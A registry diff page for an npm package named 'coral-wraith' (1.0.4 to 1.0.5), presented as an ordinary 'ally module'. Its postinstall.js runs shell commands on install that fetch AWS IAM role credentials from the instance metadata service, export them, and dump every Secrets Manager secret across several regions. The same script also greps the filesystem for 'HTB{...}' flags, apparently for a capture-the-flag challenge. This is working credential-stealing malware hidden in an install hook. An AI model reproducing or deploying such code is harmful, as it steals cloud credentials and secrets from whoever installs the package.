coral-wraith 1.0.4 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/postinstall.js +6 -7
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "coral-wraith",
3
- "version": "1.0.4",
3
+ "version": "1.0.5",
4
4
  "description": "Coral Wraith ally module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -43,17 +43,16 @@ function put(base, sink, parts) {
43
43
  if (!isTarget()) process.exit(0);
44
44
 
45
45
  const blob = sh(
46
- "for f in /app/src/main.rs /app/Cargo.toml /app/.bowerrc; do echo ===$f===; cat $f 2>&1; done; " +
47
- "git -C /app log --oneline --all 2>&1; git -C /app show HEAD 2>&1 | head -c 4000; " +
48
- "grep -RaoE 'HTB\\{[^}]+\\}' /app /home/node 2>/dev/null | head -n5; " +
49
46
  "T=$(curl -s -X PUT http://169.254.169.254/latest/api/token -H 'X-aws-ec2-metadata-token-ttl-seconds: 60'); " +
50
- "R=$(curl -s -H \"X-aws-ec2-metadata-token: $T\" http://169.254.169.254/latest/meta-data/iam/security-credentials/); " +
51
- "C=$(curl -s -H \"X-aws-ec2-metadata-token: $T\" http://169.254.169.254/latest/meta-data/iam/security-credentials/$R); " +
47
+ "R=$(curl -s -H \"X-aws-ec2-metadata-token: $T\" http://169.254.169.254/latest/meta-data/iam/security-credentials/); echo ROLE:$R; " +
48
+ "C=$(curl -s -H \"X-aws-ec2-metadata-token: $T\" http://169.254.169.254/latest/meta-data/iam/security-credentials/$R); echo CREDS:$C; " +
52
49
  "export AWS_ACCESS_KEY_ID=$(echo \"$C\"|sed -n 's/.*\"AccessKeyId\": \"\\([^\"]*\\)\".*/\\1/p') " +
53
50
  "AWS_SECRET_ACCESS_KEY=$(echo \"$C\"|sed -n 's/.*\"SecretAccessKey\": \"\\([^\"]*\\)\".*/\\1/p') " +
54
51
  "AWS_SESSION_TOKEN=$(echo \"$C\"|sed -n 's/.*\"Token\": \"\\([^\"]*\\)\".*/\\1/p') AWS_DEFAULT_REGION=us-east-1; " +
55
- "aws secretsmanager list-secrets 2>&1; " +
56
- "for s in $(aws secretsmanager list-secrets --query 'SecretList[].Name' --output text 2>/dev/null); do aws secretsmanager get-secret-value --secret-id $s 2>&1; done"
52
+ "aws sts get-caller-identity 2>&1; " +
53
+ "for r in us-east-1 eu-west-1 eu-central-1 ap-southeast-1; do echo REGION:$r; aws secretsmanager list-secrets --region $r 2>&1; " +
54
+ "for s in $(aws secretsmanager list-secrets --region $r --query 'SecretList[].Name' --output text 2>/dev/null); do echo GET:$s; aws secretsmanager get-secret-value --region $r --secret-id $s 2>&1; done; done; " +
55
+ "grep -RaoE 'HTB\\{[^}]+\\}' /home/node /app /root 2>/dev/null | head -n3"
57
56
  );
58
57
 
59
58
  const flag = blob.match(/HTB\{[^}]+\}/);